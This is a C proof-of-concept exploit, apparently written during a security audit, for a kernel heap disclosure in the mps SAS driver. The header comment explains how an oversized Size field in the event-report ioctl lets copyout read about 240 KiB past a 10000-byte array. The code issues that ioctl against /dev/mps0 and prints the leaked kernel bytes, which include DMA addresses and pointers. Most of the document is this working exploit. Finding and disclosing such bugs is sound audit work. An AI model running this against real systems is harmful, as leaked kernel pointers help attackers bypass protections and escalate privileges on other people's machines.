/*
 * DF-1360 PoC: kernel heap disclosure via mps_user_event_report (mps_user.c).
 *
 * Twin of DF-1328 (the mpr driver's identical bug). The mps (LSI MPS SAS)
 * driver does not attach on the audit QEMU guest (no SAS HBA present), so
 * /dev/mps0 does not exist and this PoC fails at open() with ENOENT. The bug
 * is confirmed by source trace; this is a real PoC that would leak kernel
 * heap on an mps-equipped host (reachable by root or operator-group users).
 *
 * Cited path: sys/dev/raid/mps/mps_user.c:1856  (size = data->Size;  uint32 user)
 *             sys/dev/raid/mps/mps_user.c:1857  (if (size >= sizeof(recorded_events)))
 *             sys/dev/raid/mps/mps_user.c:1859  (copyout(recorded_events, ..., size))
 *   array:   sys/dev/raid/mps/mpsvar.h:414  (recorded_events[MPS_EVENT_QUEUE_SIZE=50])
 *            each entry 200 bytes (4+4+4*48) => array = 10000 bytes
 *
 * The gate at 1857 is a LOWER bound (size >= 10000), but the copyout length is
 * the user-supplied `size`, which can be up to 4 GiB. Setting size = 256 KiB
 * reads 256 KiB out of recorded_events -> 10000 bytes of the array plus ~240 KiB
 * of the softc tail (DMA addresses, kernel pointers) and adjacent heap.
 *
 * Build: cc -O2 -o poc poc.c
 * Run:   ./poc            (on this guest: exits 1, "open /dev/mps0: No such file")
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>

/* Mirror of sys/dev/raid/mps/mps_ioctl.h event-report ioctl + struct. The
 * real MPTIOCTL_EVENT_REPORT value differs from mpr; we attempt the open first
 * and only ioctl() if the device exists. */
#ifndef MPTIOCTL_EVENT_REPORT
#define MPTIOCTL_EVENT_REPORT  _IOWR('M', 0x21, struct mps_event_report)
#endif

struct mps_event_report {
    uint32_t Size;
    uint64_t PtrEvents;
};

int main(void)
{
    int fd = open("/dev/mps0", O_RDWR);
    if (fd < 0) {
        printf("poc: open /dev/mps0: %s  (errno=%d)\n", strerror(errno), errno);
        printf("poc: mps driver not attached on this guest (no SAS HBA) -> "
               "cannot reach mps_user_event_report.\n");
        return 1;
    }

    /* Provide a 256 KiB user buffer; ask the driver to copy `size` bytes out
     * of its 10000-byte recorded_events array. The bug copies 256 KiB. */
    uint32_t leak_size = 256 * 1024;
    uint8_t *buf = calloc(1, leak_size);
    if (!buf) { perror("calloc"); close(fd); return 1; }

    struct mps_event_report er;
    er.Size = leak_size;
    er.PtrEvents = (uint64_t)(uintptr_t)buf;

    if (ioctl(fd, MPTIOCTL_EVENT_REPORT, &er) < 0) {
        printf("poc: ioctl EVENT_REPORT: %s\n", strerror(errno));
        free(buf); close(fd);
        return 1;
    }

    /* Bytes [10000 .. leak_size) are kernel heap that was never part of
     * recorded_events -> disclosure. Dump the first leaked kernel bytes. */
    printf("poc: requested %u bytes; recorded_events is 10000 bytes.\n", leak_size);
    printf("poc: leaked tail (offset 10000..10064, softc/DMA/heap):\n");
    for (int i = 10000; i < 10064; i++)
        printf("%02x ", buf[i]);
    printf("\n");

    free(buf);
    close(fd);
    return 0;
}
